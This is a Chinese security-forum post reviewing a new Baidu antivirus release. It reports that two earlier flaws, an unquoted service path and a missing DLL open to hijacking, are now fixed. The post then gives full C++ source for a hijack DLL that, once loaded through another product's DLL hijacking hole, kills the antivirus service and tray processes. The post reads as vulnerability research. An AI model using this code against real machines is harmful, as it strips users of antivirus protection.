Quantcast
Channel: 看雪安全论坛
Viewing all articles
Browse latest Browse all 9556

【原创】BD杀毒新版评测

$
0
0
今天才看到BD杀毒软件发布了一个新版本,于是就想看看上个版本发现的一些脆弱性BUG有没有得到修复

已知上个版本的两个BUG。

1.CreateProcess对参数lpCmdLine中的程序路径没有使用双引号阻止隔断,导致可在BD杀毒软件的安装分区根目录下放置一个Program.exe命名的任意文件就可以废掉BaidusdSvc和Baidusd两个程序。

2.升级模块存在Dll劫持漏洞,原因是升级过程中去加载了一个updlog.dll,但是这个文件不存在。
附件 79575

刚才安装了最新版本,测试发现
1问题已经彻底修改,没有再出现空格截断这个问题。

2问题用ApiMonitor跑了几圈,发现已经不会去加载这个DLL了,剩余几个不存在的DLL都是在安装目录下,因为有文件系统保护,所以已经不存在劫持了。

本以为十分完美了,然后又尝试了一下结束BD杀毒相关进程的代码,直接结束还是权限不够。
然后就祭出白加黑,用xx电脑管家的Dll劫持漏洞,去取得高级进程权限,然后尝试干掉BD杀毒进程,然后,然后就成功了。。。。

伪造个模块,代码如下,具体哪个模块不便公开。

代码:

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"
#include <Windows.h>
#include <tchar.h>
#include <Psapi.h>
#include <Tlhelp32.h.>

#pragma comment (lib, "psapi.lib")

HANDLE GetProcessHandleByName(LPCTSTR lpProcessName);
VOID KillBdsd();

BOOL APIENTRY DllMain( HMODULE hModule,
                                          DWORD  ul_reason_for_call,
                                          LPVOID lpReserved
                                          )
{
        DisableThreadLibraryCalls(hModule);

        switch (ul_reason_for_call)
        {
        case DLL_PROCESS_ATTACH:
                {
                        KillBdsd();
                        break;
                }
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
                break;
        }

        return FALSE;
}


VOID KillBdsd()
{
        HANDLE hProcess = NULL;

        hProcess = GetProcessHandleByName(_T("BaidusdSvc.exe"));
        if (NULL == hProcess)
        {
                MessageBox(GetDesktopWindow(),
                        _T("打开进程BaidusdSvc失败!"),
                        NULL,
                        MB_OK | MB_TOPMOST | MB_SYSTEMMODAL);
        }
        else
        {
                if (FALSE == TerminateProcess(hProcess, 0))
                {
                        MessageBox(GetDesktopWindow(),
                                _T("关闭进程BaidusdSvc失败!"),
                                NULL,
                                MB_OK | MB_TOPMOST | MB_SYSTEMMODAL);
                }
                else
                {
                        MessageBox(GetDesktopWindow(),
                                _T("进程BaidusdSvc已终止!"),
                                NULL,
                                MB_OK | MB_TOPMOST | MB_SYSTEMMODAL);
                }

                CloseHandle(hProcess);
        }


        hProcess = GetProcessHandleByName(_T("BaidusdTray.exe"));
        if (NULL == hProcess)
        {
                MessageBox(GetDesktopWindow(),
                        _T("打开进程BaidusdTray失败!"),
                        NULL,
                        MB_OK | MB_TOPMOST | MB_SYSTEMMODAL);
        }
        else
        {
                if (FALSE == TerminateProcess(hProcess, 0))
                {
                        MessageBox(GetDesktopWindow(),
                                _T("关闭进程BaidusdTray失败!"),
                                NULL,
                                MB_OK | MB_TOPMOST | MB_SYSTEMMODAL);
                }
                else
                {
                        MessageBox(GetDesktopWindow(),
                                _T("进程BaidusdTray已关闭!"),
                                NULL,
                                MB_OK | MB_TOPMOST | MB_SYSTEMMODAL);
                }

                CloseHandle(hProcess);
        }

}


HANDLE GetProcessHandleByName(LPCTSTR lpProcessName)
{
        HANDLE hProcess = NULL;

        HANDLE hSnapShot = NULL;
        PROCESSENTRY32 pe32;

        ZeroMemory(&pe32, sizeof(PROCESSENTRY32));
        pe32.dwSize = sizeof(PROCESSENTRY32);

        hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

        if (INVALID_HANDLE_VALUE != hSnapShot)
        {
                Process32First(hSnapShot, &pe32);
                do
                {
                        if (pe32.th32ProcessID == 0 || pe32.th32ProcessID == GetCurrentProcessId())
                        {
                                continue;
                        }

                        if ( 0 == _tcsicmp(pe32.szExeFile, lpProcessName))
                        {
                                hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);
                                break;
                        }

                }while(Process32Next(hSnapShot, &pe32));

                CloseHandle(hSnapShot);
        }

        return hProcess;
}

然后把这个模块丢到系统目录下。

然后看图。。
附件 79576
附件 79577

后来又测试了一下普通进程,拿到Debug权限之后也是可以结束BD杀毒的服务进程和托盘进程的,当然前提是需要先关掉BD杀毒的自我保护。


反观其他一些杀软或者安全软件,就算关闭自我保护,还是不能terminate他的进程的。
BD业界良心啊。。。

上传的图像
文件类型: png image003.png (21.6 KB)
文件类型: png image006.png (14.0 KB)
文件类型: png image007.png (20.0 KB)

Viewing all articles
Browse latest Browse all 9556

Trending Articles



<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>